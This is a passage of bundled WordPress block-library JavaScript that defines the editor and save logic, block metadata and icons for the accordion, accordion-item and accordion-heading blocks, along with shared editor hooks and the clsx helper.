1769 name: () => (term_template_name),
1770 settings: () => (term_template_settings)
1771});
1772
1773// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/text-columns/index.js
1774var text_columns_namespaceObject = {};
1775__webpack_require__.r(text_columns_namespaceObject);
1776__webpack_require__.d(text_columns_namespaceObject, {
1777 init: () => (text_columns_init),
1778 metadata: () => (text_columns_block_namespaceObject),
1779 name: () => (text_columns_name),
1780 settings: () => (text_columns_settings)
1781});
1782
1783// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/verse/index.js
1784var build_module_verse_namespaceObject = {};
1785__webpack_require__.r(build_module_verse_namespaceObject);
1786__webpack_require__.d(build_module_verse_namespaceObject, {
1787 init: () => (verse_init),
1788 metadata: () => (verse_block_namespaceObject),
1789 name: () => (verse_name),
1790 settings: () => (verse_settings)
1791});
1792
1793// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/video/index.js
1794var build_module_video_namespaceObject = {};
1795__webpack_require__.r(build_module_video_namespaceObject);
1796__webpack_require__.d(build_module_video_namespaceObject, {
1797 init: () => (video_init),
1798 metadata: () => (video_block_namespaceObject),
1799 name: () => (video_name),
1800 settings: () => (video_settings)
1801});
1802
1803// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/footnotes/index.js
1804var footnotes_namespaceObject = {};
1805__webpack_require__.r(footnotes_namespaceObject);
1806__webpack_require__.d(footnotes_namespaceObject, {
1807 init: () => (footnotes_init),
1808 metadata: () => (footnotes_block_namespaceObject),
1809 name: () => (footnotes_name),
1810 settings: () => (footnotes_settings)
1811});
1812
1813;// external "ReactJSXRuntime"
1814const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
1815;// external ["wp","blocks"]
1816const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
1817;// external ["wp","data"]
1818const external_wp_data_namespaceObject = window["wp"]["data"];
1819;// external ["wp","blockEditor"]
1820const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
1821;// external ["wp","serverSideRender"]
1822const external_wp_serverSideRender_namespaceObject = window["wp"]["serverSideRender"];
1823var external_wp_serverSideRender_default = /*#__PURE__*/__webpack_require__.n(external_wp_serverSideRender_namespaceObject);
1824;// external ["wp","i18n"]
1825const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
1826;// external ["wp","components"]
1827const external_wp_components_namespaceObject = window["wp"]["components"];
1828;// external ["wp","element"]
1829const external_wp_element_namespaceObject = window["wp"]["element"];
1830;// external ["wp","blob"]
1831const external_wp_blob_namespaceObject = window["wp"]["blob"];
1832;// external ["wp","coreData"]
1833const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
1834;// external ["wp","compose"]
1835const external_wp_compose_namespaceObject = window["wp"]["compose"];
1836;// ./node_modules/@wordpress/block-library/build-module/utils/hooks.js
1837
1838
1839
1840
1841
1842
1843function useCanEditEntity(kind, name, recordId) {
1844 return (0,external_wp_data_namespaceObject.useSelect)(
1845 (select) => select(external_wp_coreData_namespaceObject.store).canUser("update", {
1846 kind,
1847 name,
1848 id: recordId
1849 }),
1850 [kind, name, recordId]
1851 );
1852}
1853function useUploadMediaFromBlobURL(args = {}) {
1854 const latestArgsRef = (0,external_wp_element_namespaceObject.useRef)(args);
1855 const hasUploadStartedRef = (0,external_wp_element_namespaceObject.useRef)(false);
1856 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
1857 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
1858 latestArgsRef.current = args;
1859 });
1860 (0,external_wp_element_namespaceObject.useEffect)(() => {
1861 if (hasUploadStartedRef.current) {
1862 return;
1863 }
1864 if (!latestArgsRef.current.url || !(0,external_wp_blob_namespaceObject.isBlobURL)(latestArgsRef.current.url)) {
1865 return;
1866 }
1867 const file = (0,external_wp_blob_namespaceObject.getBlobByURL)(latestArgsRef.current.url);
1868 if (!file) {
1869 return;
1870 }
1871 const { url, allowedTypes, onChange, onError } = latestArgsRef.current;
1872 const { mediaUpload } = getSettings();
1873 if (!mediaUpload) {
1874 return;
1875 }
1876 hasUploadStartedRef.current = true;
1877 mediaUpload({
1878 filesList: [file],
1879 allowedTypes,
1880 onFileChange: ([media]) => {
1881 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media?.url)) {
1882 return;
1883 }
1884 (0,external_wp_blob_namespaceObject.revokeBlobURL)(url);
1885 onChange(media);
1886 hasUploadStartedRef.current = false;
1887 },
1888 onError: (message) => {
1889 (0,external_wp_blob_namespaceObject.revokeBlobURL)(url);
1890 onError(message);
1891 hasUploadStartedRef.current = false;
1892 }
1893 });
1894 }, [getSettings]);
1895}
1896function useDefaultAvatar() {
1897 const { avatarURL: defaultAvatarUrl } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1898 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
1899 const { __experimentalDiscussionSettings } = getSettings();
1900 return __experimentalDiscussionSettings;
1901 });
1902 return defaultAvatarUrl;
1903}
1904function useToolsPanelDropdownMenuProps() {
1905 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
1906 return !isMobile ? {
1907 popoverProps: {
1908 placement: "left-start",
1909 // For non-mobile, inner sidebar width (248px) - button width (24px) - border (1px) + padding (16px) + spacing (20px)
1910 offset: 259
1911 }
1912 } : {};
1913}
1914
1915
1916;// ./node_modules/@wordpress/block-library/build-module/accordion/edit.js
1917
1918
1919
1920
1921
1922
1923
1924const ACCORDION_BLOCK_NAME = "core/accordion-item";
1925const ACCORDION_HEADING_BLOCK_NAME = "core/accordion-heading";
1926const ACCORDION_BLOCK = {
1927 name: ACCORDION_BLOCK_NAME
1928};
1929function Edit({
1930 attributes: {
1931 autoclose,
1932 iconPosition,
1933 showIcon,
1934 headingLevel,
1935 levelOptions
1936 },
1937 clientId,
1938 setAttributes,
1939 isSelected: isSingleSelected
1940}) {
1941 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
1942 const { getBlockOrder } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
1943 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
1944 role: "group"
1945 });
1946 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
1947 const { updateBlockAttributes, insertBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
1948 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
1949 const isContentOnlyMode = blockEditingMode === "contentOnly";
1950 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
1951 template: [[ACCORDION_BLOCK_NAME]],
1952 defaultBlock: ACCORDION_BLOCK,
1953 directInsert: true,
1954 templateInsertUpdatesSelection: true
1955 });
1956 const addAccordionItemBlock = () => {
1957 const newAccordionItem = (0,external_wp_blocks_namespaceObject.createBlock)(ACCORDION_BLOCK_NAME, {}, [
1958 (0,external_wp_blocks_namespaceObject.createBlock)(ACCORDION_HEADING_BLOCK_NAME, {
1959 level: headingLevel
1960 }),
1961 (0,external_wp_blocks_namespaceObject.createBlock)("core/accordion-panel", {})
1962 ]);
1963 insertBlock(newAccordionItem, void 0, clientId);
1964 };
1965 const updateHeadingLevel = (newHeadingLevel) => {
1966 const innerBlockClientIds = getBlockOrder(clientId);
1967 const accordionHeaderClientIds = [];
1968 innerBlockClientIds.forEach((contentClientId) => {
1969 const headerClientIds = getBlockOrder(contentClientId);
1970 accordionHeaderClientIds.push(...headerClientIds);
1971 });
1972 registry.batch(() => {
1973 setAttributes({ headingLevel: newHeadingLevel });
1974 updateBlockAttributes(accordionHeaderClientIds, {
1975 level: newHeadingLevel
1976 });
1977 });
1978 };
1979 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1980 isSingleSelected && !isContentOnlyMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1981 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1982 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
1983 {
1984 value: headingLevel,
1985 options: levelOptions,
1986 onChange: updateHeadingLevel
1987 }
1988 ) }) }),
1989 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, { onClick: addAccordionItemBlock, children: (0,external_wp_i18n_namespaceObject.__)("Add item") }) })
1990 ] }),
1991 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
1992 external_wp_components_namespaceObject.__experimentalToolsPanel,
1993 {
1994 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
1995 resetAll: () => {
1996 setAttributes({
1997 autoclose: false,
1998 showIcon: true,
1999 iconPosition: "right"
2000 });
2001 },
2002 dropdownMenuProps,
2003 children: [
2004 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2005 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2006 {
2007 label: (0,external_wp_i18n_namespaceObject.__)("Auto-close"),
2008 isShownByDefault: true,
2009 hasValue: () => !!autoclose,
2010 onDeselect: () => setAttributes({ autoclose: false }),
2011 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2012 external_wp_components_namespaceObject.ToggleControl,
2013 {
2014 isBlock: true,
2015 __nextHasNoMarginBottom: true,
2016 label: (0,external_wp_i18n_namespaceObject.__)("Auto-close"),
2017 onChange: (value) => {
2018 setAttributes({
2019 autoclose: value
2020 });
2021 },
2022 checked: autoclose,
2023 help: (0,external_wp_i18n_namespaceObject.__)(
2024 "Automatically close accordions when a new one is opened."
2025 )
2026 }
2027 )
2028 }
2029 ),
2030 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2031 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2032 {
2033 label: (0,external_wp_i18n_namespaceObject.__)("Show icon"),
2034 isShownByDefault: true,
2035 hasValue: () => !showIcon,
2036 onDeselect: () => setAttributes({ showIcon: true }),
2037 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2038 external_wp_components_namespaceObject.ToggleControl,
2039 {
2040 isBlock: true,
2041 __nextHasNoMarginBottom: true,
2042 label: (0,external_wp_i18n_namespaceObject.__)("Show icon"),
2043 onChange: (value) => {
2044 setAttributes({
2045 showIcon: value,
2046 iconPosition: value ? iconPosition : "right"
2047 });
2048 },
2049 checked: showIcon,
2050 help: (0,external_wp_i18n_namespaceObject.__)(
2051 "Display a plus icon next to the accordion header."
2052 )
2053 }
2054 )
2055 }
2056 ),
2057 showIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2058 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2059 {
2060 label: (0,external_wp_i18n_namespaceObject.__)("Icon Position"),
2061 isShownByDefault: true,
2062 hasValue: () => iconPosition !== "right",
2063 onDeselect: () => setAttributes({ iconPosition: "right" }),
2064 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2065 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
2066 {
2067 __nextHasNoMarginBottom: true,
2068 __next40pxDefaultSize: true,
2069 isBlock: true,
2070 label: (0,external_wp_i18n_namespaceObject.__)("Icon Position"),
2071 value: iconPosition,
2072 onChange: (value) => {
2073 setAttributes({ iconPosition: value });
2074 },
2075 children: [
2076 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2077 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
2078 {
2079 label: (0,external_wp_i18n_namespaceObject.__)("Left"),
2080 value: "left"
2081 }
2082 ),
2083 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2084 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
2085 {
2086 label: (0,external_wp_i18n_namespaceObject.__)("Right"),
2087 value: "right"
2088 }
2089 )
2090 ]
2091 }
2092 )
2093 }
2094 )
2095 ]
2096 }
2097 ) }, "setting"),
2098 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
2099 ] });
2100}
2101
2102
2103;// ./node_modules/@wordpress/block-library/build-module/accordion/save.js
2104
2105
2106function save() {
2107 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({
2108 role: "group"
2109 });
2110 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps) });
2111}
2112
2113
2114;// ./node_modules/@wordpress/block-library/build-module/accordion/block.json
2115const block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/accordion","title":"Accordion","category":"design","description":"Displays a foldable layout that groups content in collapsible sections.","example":{},"supports":{"anchor":true,"html":false,"align":["wide","full"],"background":{"backgroundImage":true,"backgroundSize":true,"__experimentalDefaultControls":{"backgroundImage":true}},"color":{"background":true,"gradients":true},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"spacing":{"padding":true,"margin":["top","bottom"],"blockGap":true},"shadow":true,"layout":true,"ariaLabel":true,"interactivity":true,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"contentRole":true},"attributes":{"iconPosition":{"type":"string","default":"right"},"showIcon":{"type":"boolean","default":true},"autoclose":{"type":"boolean","default":false},"headingLevel":{"type":"number","default":3},"levelOptions":{"type":"array"}},"providesContext":{"core/accordion-icon-position":"iconPosition","core/accordion-show-icon":"showIcon","core/accordion-heading-level":"headingLevel"},"allowedBlocks":["core/accordion-item"],"textdomain":"default","viewScriptModule":"@wordpress/block-library/accordion/view"}');
2116;// ./node_modules/@wordpress/block-library/build-module/utils/init-block.js
2117
2118function initBlock(block) {
2119 if (!block) {
2120 return;
2121 }
2122 const { metadata, settings, name } = block;
2123 return (0,external_wp_blocks_namespaceObject.registerBlockType)({ name, ...metadata }, settings);
2124}
2125
2126
2127;// external ["wp","primitives"]
2128const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
2129;// ./node_modules/@wordpress/block-library/build-module/accordion/icon.js
2130
2131
2132var icon_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
2133 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2134 external_wp_primitives_namespaceObject.Path,
2135 {
2136 fillRule: "evenodd",
2137 clipRule: "evenodd",
2138 d: "M19.5 9.25L9.5 9.25L9.5 7.75L19.5 7.75L19.5 9.25Z",
2139 fill: "currentColor"
2140 }
2141 ),
2142 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.5 6L8.5 8.5L4.5 11L4.5 6Z", fill: "currentColor" }),
2143 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2144 external_wp_primitives_namespaceObject.Path,
2145 {
2146 fillRule: "evenodd",
2147 clipRule: "evenodd",
2148 d: "M19.5 16.25L9.5 16.25L9.5 14.75L19.5 14.75L19.5 16.25Z",
2149 fill: "currentColor"
2150 }
2151 ),
2152 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.5 13L8.5 15.5L4.5 18L4.5 13Z", fill: "currentColor" })
2153] });
2154
2155
2156;// ./node_modules/@wordpress/block-library/build-module/accordion/index.js
2157
2158
2159
2160
2161
2162
2163const { name: accordion_name } = block_namespaceObject;
2164const settings = {
2165 icon: icon_default,
2166 example: {
2167 innerBlocks: [
2168 {
2169 name: "core/accordion-item",
2170 innerBlocks: [
2171 {
2172 name: "core/accordion-heading",
2173 attributes: {
2174 title: (0,external_wp_i18n_namespaceObject.__)(
2175 "Lorem ipsum dolor sit amet, consectetur."
2176 )
2177 }
2178 }
2179 ]
2180 },
2181 {
2182 name: "core/accordion-item",
2183 innerBlocks: [
2184 {
2185 name: "core/accordion-heading",
2186 attributes: {
2187 title: (0,external_wp_i18n_namespaceObject.__)(
2188 "Suspendisse commodo lacus, interdum et."
2189 )
2190 }
2191 }
2192 ]
2193 }
2194 ]
2195 },
2196 edit: Edit,
2197 save: save
2198};
2199const init = () => initBlock({ name: accordion_name, metadata: block_namespaceObject, settings });
2200
2201
2202;// ./node_modules/clsx/dist/clsx.mjs
2203function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
2204;// ./node_modules/@wordpress/block-library/build-module/accordion-item/edit.js
2205
2206
2207
2208
2209
2210
2211
2212
2213function edit_Edit({
2214 attributes,
2215 clientId,
2216 setAttributes,
2217 context
2218}) {
2219 const { openByDefault } = attributes;
2220 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
2221 const { isSelected, getBlockOrder } = (0,external_wp_data_namespaceObject.useSelect)(
2222 (select) => {
2223 const {
2224 isBlockSelected,
2225 hasSelectedInnerBlock,
2226 getBlockOrder: getBlockOrderSelector
2227 } = select(external_wp_blockEditor_namespaceObject.store);
2228 return {
2229 isSelected: isBlockSelected(clientId) || hasSelectedInnerBlock(clientId, true),
2230 getBlockOrder: getBlockOrderSelector
2231 };
2232 },
2233 [clientId]
2234 );
2235 const contentBlockClientId = getBlockOrder(clientId)[1];
2236 const { updateBlockAttributes, __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
2237 (0,external_wp_element_namespaceObject.useEffect)(() => {
2238 if (contentBlockClientId) {
2239 __unstableMarkNextChangeAsNotPersistent();
2240 updateBlockAttributes(contentBlockClientId, {
2241 isSelected
2242 });
2243 }
2244 }, [
2245 isSelected,
2246 contentBlockClientId,
2247 __unstableMarkNextChangeAsNotPersistent,
2248 updateBlockAttributes
2249 ]);
2250 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
2251 className: dist_clsx({
2252 "is-open": openByDefault || isSelected
2253 })
2254 });
2255 const headingLevel = context && context["core/accordion-heading-level"];
2256 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
2257 template: [
2258 [
2259 "core/accordion-heading",
2260 headingLevel ? { level: headingLevel } : {}
2261 ],
2262 [
2263 "core/accordion-panel",
2264 {
2265 openByDefault
2266 }
2267 ]
2268 ],
2269 templateLock: "all",
2270 directInsert: true,
2271 templateInsertUpdatesSelection: true
2272 });
2273 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
2274 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2275 external_wp_components_namespaceObject.__experimentalToolsPanel,
2276 {
2277 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
2278 resetAll: () => {
2279 setAttributes({ openByDefault: false });
2280 if (contentBlockClientId) {
2281 updateBlockAttributes(contentBlockClientId, {
2282 openByDefault: false
2283 });
2284 }
2285 },
2286 dropdownMenuProps,
2287 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2288 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
2289 {
2290 label: (0,external_wp_i18n_namespaceObject.__)("Open by default"),
2291 isShownByDefault: true,
2292 hasValue: () => !!openByDefault,
2293 onDeselect: () => {
2294 setAttributes({ openByDefault: false });
2295 if (contentBlockClientId) {
2296 updateBlockAttributes(contentBlockClientId, {
2297 openByDefault: false
2298 });
2299 }
2300 },
2301 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2302 external_wp_components_namespaceObject.ToggleControl,
2303 {
2304 label: (0,external_wp_i18n_namespaceObject.__)("Open by default"),
2305 __nextHasNoMarginBottom: true,
2306 onChange: (value) => {
2307 setAttributes({
2308 openByDefault: value
2309 });
2310 if (contentBlockClientId) {
2311 updateBlockAttributes(
2312 contentBlockClientId,
2313 {
2314 openByDefault: value
2315 }
2316 );
2317 }
2318 },
2319 checked: openByDefault,
2320 help: (0,external_wp_i18n_namespaceObject.__)(
2321 "Accordion content will be displayed by default."
2322 )
2323 }
2324 )
2325 }
2326 )
2327 }
2328 ) }, "setting"),
2329 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
2330 ] });
2331}
2332
2333
2334;// ./node_modules/@wordpress/block-library/build-module/accordion-item/save.js
2335
2336
2337
2338function save_save({ attributes }) {
2339 const { openByDefault } = attributes;
2340 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({
2341 className: dist_clsx({
2342 "is-open": openByDefault
2343 })
2344 });
2345 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
2346 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
2347}
2348
2349
2350;// ./node_modules/@wordpress/block-library/build-module/accordion-item/block.json
2351const accordion_item_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/accordion-item","title":"Accordion Item","category":"design","description":"Wraps the heading and panel in one unit.","parent":["core/accordion"],"allowedBlocks":["core/accordion-heading","core/accordion-panel"],"supports":{"html":false,"color":{"background":true,"gradients":true},"interactivity":true,"spacing":{"margin":["top","bottom"],"blockGap":true},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"shadow":true,"layout":{"allowEditing":false},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"contentRole":true},"attributes":{"openByDefault":{"type":"boolean","default":false}},"textdomain":"default","style":"wp-block-accordion-item"}');
2352;// ./node_modules/@wordpress/block-library/build-module/accordion-item/icon.js
2353
2354
2355var icon_icon_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
2356 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2357 external_wp_primitives_namespaceObject.Path,
2358 {
2359 fillRule: "evenodd",
2360 clipRule: "evenodd",
2361 d: "M19.5 9.5L9.5 9.5L9.5 8L19.5 8L19.5 9.5Z",
2362 fill: "currentColor"
2363 }
2364 ),
2365 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2366 external_wp_primitives_namespaceObject.Path,
2367 {
2368 fillRule: "evenodd",
2369 clipRule: "evenodd",
2370 d: "M19.5 13L9.5 13L9.5 11.5L19.5 11.5L19.5 13Z",
2371 fill: "currentColor"
2372 }
2373 ),
2374 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2375 external_wp_primitives_namespaceObject.Path,
2376 {
2377 fillRule: "evenodd",
2378 clipRule: "evenodd",
2379 d: "M19.5 16.3999L9.5 16.3999L9.5 14.8999L19.5 14.8999L19.5 16.3999Z",
2380 fill: "currentColor"
2381 }
2382 ),
2383 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4.5 6.25L8.5 8.75L4.5 11.25L4.5 6.25Z", fill: "currentColor" })
2384] });
2385
2386
2387;// ./node_modules/@wordpress/block-library/build-module/accordion-item/index.js
2388
2389
2390
2391
2392
2393const { name: accordion_item_name } = accordion_item_block_namespaceObject;
2394const accordion_item_settings = {
2395 icon: icon_icon_default,
2396 edit: edit_Edit,
2397 save: save_save
2398};
2399const accordion_item_init = () => initBlock({ name: accordion_item_name, metadata: accordion_item_block_namespaceObject, settings: accordion_item_settings });
2400
2401
2402;// ./node_modules/@wordpress/block-library/build-module/accordion-heading/edit.js
2403
2404
2405
2406
2407function accordion_heading_edit_Edit({ attributes, setAttributes, context }) {
2408 const { title } = attributes;
2409 const {
2410 "core/accordion-icon-position": iconPosition,
2411 "core/accordion-show-icon": showIcon,
2412 "core/accordion-heading-level": headingLevel
2413 } = context;
2414 const TagName = "h" + headingLevel;
2415 (0,external_wp_element_namespaceObject.useEffect)(() => {
2416 if (iconPosition !== void 0 && showIcon !== void 0) {
2417 setAttributes({
2418 iconPosition,
2419 showIcon
2420 });
2421 }
2422 }, [iconPosition, showIcon, setAttributes]);
2423 const [fluidTypographySettings, layout] = (0,external_wp_blockEditor_namespaceObject.useSettings)(
2424 "typography.fluid",
2425 "layout"
2426 );
2427 const typographyProps = (0,external_wp_blockEditor_namespaceObject.getTypographyClassesAndStyles)(attributes, {
2428 typography: {
2429 fluid: fluidTypographySettings
2430 },
2431 layout: {
2432 wideSize: layout?.wideSize
2433 }
2434 });
2435 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
2436 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
2437 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2438 "button",
2439 {
2440 className: "wp-block-accordion-heading__toggle",
2441 style: spacingProps.style,
2442 tabIndex: "-1",
2443 children: [
2444 showIcon && iconPosition === "left" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2445 "span",
2446 {
2447 className: "wp-block-accordion-heading__toggle-icon",
2448 "aria-hidden": "true",
2449 children: "+"
2450 }
2451 ),
2452 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2453 external_wp_blockEditor_namespaceObject.RichText,
2454 {
2455 withoutInteractiveFormatting: true,
2456 disableLineBreaks: true,
2457 tagName: "span",
2458 value: title,
2459 onChange: (newTitle) => setAttributes({ title: newTitle }),
2460 placeholder: (0,external_wp_i18n_namespaceObject.__)("Accordion title"),
2461 className: "wp-block-accordion-heading__toggle-title",
2462 style: {
2463 letterSpacing: typographyProps.style.letterSpacing,
2464 textDecoration: typographyProps.style.textDecoration
2465 }
2466 }
2467 ),
2468 showIcon && iconPosition === "right" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2469 "span",
2470 {
2471 className: "wp-block-accordion-heading__toggle-icon",
2472 "aria-hidden": "true",
2473 children: "+"
2474 }
2475 )
2476 ]
2477 }
2478 ) });
2479}
2480
2481
2482;// ./node_modules/@wordpress/block-library/build-module/accordion-heading/save.js
2483
2484
2485function accordion_heading_save_save({ attributes }) {
2486 const { level, title, iconPosition, showIcon } = attributes;
2487 const TagName = "h" + (level || 3);
2488 const typographyProps = (0,external_wp_blockEditor_namespaceObject.getTypographyClassesAndStyles)(attributes);
2489 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
2490 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
2491 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
2492 "button",
2493 {
2494 type: "button",
2495 className: "wp-block-accordion-heading__toggle",
2496 style: spacingProps.style,
2497 children: [
2498 showIcon && iconPosition === "left" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2499 "span",
2500 {
2501 className: "wp-block-accordion-heading__toggle-icon",
2502 "aria-hidden": "true",
2503 children: "+"
2504 }
2505 ),
2506 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2507 external_wp_blockEditor_namespaceObject.RichText.Content,
2508 {
2509 className: "wp-block-accordion-heading__toggle-title",
2510 tagName: "span",
2511 value: title,
2512 style: {
2513 letterSpacing: typographyProps.style.letterSpacing,
2514 textDecoration: typographyProps.style.textDecoration
